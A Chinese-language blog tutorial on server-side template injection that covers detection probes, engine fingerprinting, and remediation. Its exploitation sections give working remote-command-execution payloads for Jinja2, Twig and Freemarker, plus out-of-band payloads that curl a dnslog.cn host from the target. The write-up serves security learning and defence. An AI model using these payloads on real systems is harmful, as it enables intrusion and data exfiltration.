Skip to content
Kurisu
Go back

SSTI 模板注入:检测、利用与修复

1. 什么是 SSTI

SSTI(Server-Side Template Injection,服务端模板注入):用户输入被当作模板代码交给模板引擎解析执行。

模板引擎本只负责把「模板 + 数据」渲染成页面,问题出在写法:把用户输入直接拼接进模板字符串,而不是当数据传入。引擎一视同仁地解析 {{ }}、${ }、<%= %> 等表达式,输入里的表达式就成了代码。

         正常流程                                漏洞流程
   ┌───────────────┐                    ┌───────────────┐
   │ 模板: Hello {{ name }}  │            │ 模板: Hello {{ name }}  │
   │ 数据: name="小明"        │            │ 数据: name="{{7*7}}"    │
   └───────┬───────┘                    └───────┬───────┘
           ▼                                    ▼
   模板引擎解析 {{ name }}                 模板引擎解析 {{ name }}
           │                                    │  → 替换成 {{7*7}}
           ▼                                    ▼
   Hello 小明                            Hello {{7*7}} → 再次被解析 → Hello 49

关键:用户输入只要进入 Template() / render_template_string() / createTemplate() 这类”动态模板”接口,就有注入面。

常见的危险写法:

语言/框架危险代码
Python / Flaskrender_template_string('<h1>Hello ' + name + '</h1>')
Python / Jinja2jinja2.Template(user_input).render(...)
PHP / Twig$twig->createTemplate($user_input)
Java / Freemarkernew Template("t", new StringReader(input), cfg)
Java / Velocityvelocity.evaluate(ctx, writer, "log", input)
Ruby / ERBERB.new(user_input).result

2. 检测:多引擎探测载荷

第一步找输入点:输入原样出现在响应里的位置(搜索框、用户名、邮件模板、报错页、导出文件名等)都值得测,再用通用算术探测串挨个试:

{{7*7}}        # Jinja2 / Twig / Nunjucks / Tera 等
${7*7}         # Freemarker / JSP EL / Velocity
<%= 7*7 %>     # ERB (Ruby) / JSP
{7*7}          # Smarty (PHP)
#{7*7}         # Ruby / Slim 等
${{<%[%'"}}%\  # 通用 polyglot,让多种引擎报错或原样回显,用于快速判断

页面输出 49 说明表达式被服务端执行,基本可确认 SSTI;接着要判断是哪个引擎——不同引擎利用链完全不同。

                ┌─ {{7*7}} → 49
                │    ├─ {{7*'7'}} → 7777777  ──► Jinja2 (Python)
                │    ├─ {{7*'7'}} → 49       ──► Twig (PHP) / Nunjucks (JS)
                │    ├─ {{config}} 能输出配置  ──► Flask + Jinja2
                │    └─ {{_self.env}} 可用     ──► Twig 1.x
                │
用户输入 ── fuzz ──┼─ ${7*7} → 49   (Java 系)
                │    ├─ ${7*'7'} → 49        ──► JSP EL
                │    └─ ${7*'7'} → 报错       ──► Freemarker
                │
                ├─ <%= 7*7 %> → 49  ──► ERB (Ruby) / JSP
                │
                └─ 所有探测串都无回显
                     └─► 盲 SSTI:时间盲注 / OOB 探测(见第 5 节)

几个判断细节:

3. Jinja2 利用

确认 Jinja2(常见于 Flask)后,目标是 Python 对象 → 全局作用域 → RCE:Python 一切皆对象,从任意对象沿 __class__ → __mro__ → __subclasses__ 爬到 object 基类,遍历所有已加载类,找到能执行命令的类(如 subprocess.Popen)。

3.1 信息收集:读配置

{{config}}

Flask 下它直接输出应用配置(含 SECRET_KEY);config 所在模块已导入 os,可一步直达命令执行:

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

3.2 经典链:class → mro → subclasses

{{''.__class__.__mro__}}
{# 输出: (<class 'str'>, <class 'object'>),Python 3 下 object 索引是 1 #}

{{''.__class__.__mro__[1].__subclasses__()}}
{# 输出所有已加载类的列表,找到 subprocess.Popen 的下标(环境不同下标不同) #}

假设 Popen 下标是 431,直接调用:

{{''.__class__.__mro__[1].__subclasses__()[431]('id', shell=True, stdout=-1).communicate()}}

Python 2 下 str.__mro__ 多一层,需用 [2];统一写法 [].__class__.__base__.__subclasses__()(list 基类就是 object)。

下标随环境漂移,更稳的是遍历查找:

{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if c.__name__ == 'Popen' %}
    {{ c('id', shell=True, stdout=-1).communicate() }}
  {% endif %}
{% endfor %}

没有 Popen 时找 warnings.catch_warnings(几乎必然存在),从其 __init__.__globals__ 取 __builtins__:

{{''.__class__.__mro__[1].__subclasses__()[x].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}}

3.3 短链捷径

Jinja2 自带的全局对象,其模块作用域里已有 os,可少爬几层:

{{cycler.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__['os'].popen('id').read()}}

4. Twig 利用

Twig(PHP)的核心是拿到环境对象 env,再注册任意 filter 回调为危险函数。_self 是模板内特殊变量,Twig 1.x 可经它触达 env:

{{_self.env.registerUndefinedFilterCallback('exec')}}
{{_self.env.getFilter('id')}}

registerUndefinedFilterCallback('exec') 注册一个”未定义过滤器处理器”,此后任何未定义过滤器名都当 exec() 执行;故第二行 getFilter('id') 实际执行 exec('id')。

Twig 2.x 移除了 _self.env 暴露,但引入了可接收回调参数的过滤器(filter / map / sort),把系统函数当回调传入即可:

{{['id']|filter('system')}}
{{['id']|map('system')}}
{{['id',0]|sort('system')}}

三条都会执行 system('id')。被沙箱拦截时,思路是沙箱未禁用的过滤器 + 能触达危险对象的内置变量:

沙箱的本质是”白名单 + 禁用危险过滤器”;只要 env 或任意内部对象可达,绕过只是时间问题——所以修复不能只靠沙箱。

5. 无回显场景:OOB 探测

页面不回显表达式结果(渲染为空 / 被过滤 / 纯盲注)时,用 DNS/HTTP 外带把结果带出来。

5.1 准备接收端

常用 OOB 平台:dnslog.cn、ceye.io、interactsh(projectdiscovery 开源),或自建 dig + nslookup 监控。以 dnslog.cn 为例,先取子域 xxxx.dnslog.cn。

5.2 探测 payload

{# Jinja2:执行 curl 请求,让目标服务器主动访问我们的域名 #}
{{config.__class__.__init__.__globals__['os'].popen('curl http://xxxx.dnslog.cn/flag').read()}}

{# 无 curl 时用 Python #}
{{config.__class__.__init__.__globals__['os'].popen('python3 -c "import socket;socket.getaddrinfo(\'flag.xxxx.dnslog.cn\',80)"').read()}}
{# Twig #}
{{['curl http://xxxx.dnslog.cn/flag']|filter('system')}}
# Freemarker
${"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://xxxx.dnslog.cn/flag")}

5.3 判断与提效

6. 修复

SSTI 的根因是「模板字符串与数据分离」这条原则被破坏,修复从这条主线出发:

1. 模板与数据分离(最根本)

# 错误:用户输入进模板字符串
render_template_string('<h1>Hello ' + name + '</h1>')

# 正确:用户输入只作为数据传入
render_template('hello.html', name=name)

永远不要出现 Template(用户可控字符串) 这类动态模板接口。

2. 开启自动转义

3. 沙箱兜底(提高门槛,非银弹)

from jinja2 import Environment, SandboxedEnvironment

env = SandboxedEnvironment()   # 替代默认 Environment

Jinja2 SandboxedEnvironment 和 Twig sandbox 能拦掉大部分 __class__ 链,但历史上多次被绕过(attr 过滤器、间接 __globals__ 访问等),只能算纵深防御的一层。

4. 运行环境最小权限

5. 输入校验与依赖维护

6. WAF 是补充不是修复

拦截 {{、${、<% 等特征能挡掉脚本小子,但绕 WAF 成本很低(编码、拆分、注释符),规则还会误伤合法业务(邮件模板本就合法使用 {{ }})。SSTI 必须从代码层根治。

参考


Share this post:

Previous Post
ThinkPHP 5.1.37 反序列化链复现
Next Post
Cacti CVE-2022-46169:认证绕过与命令注入复现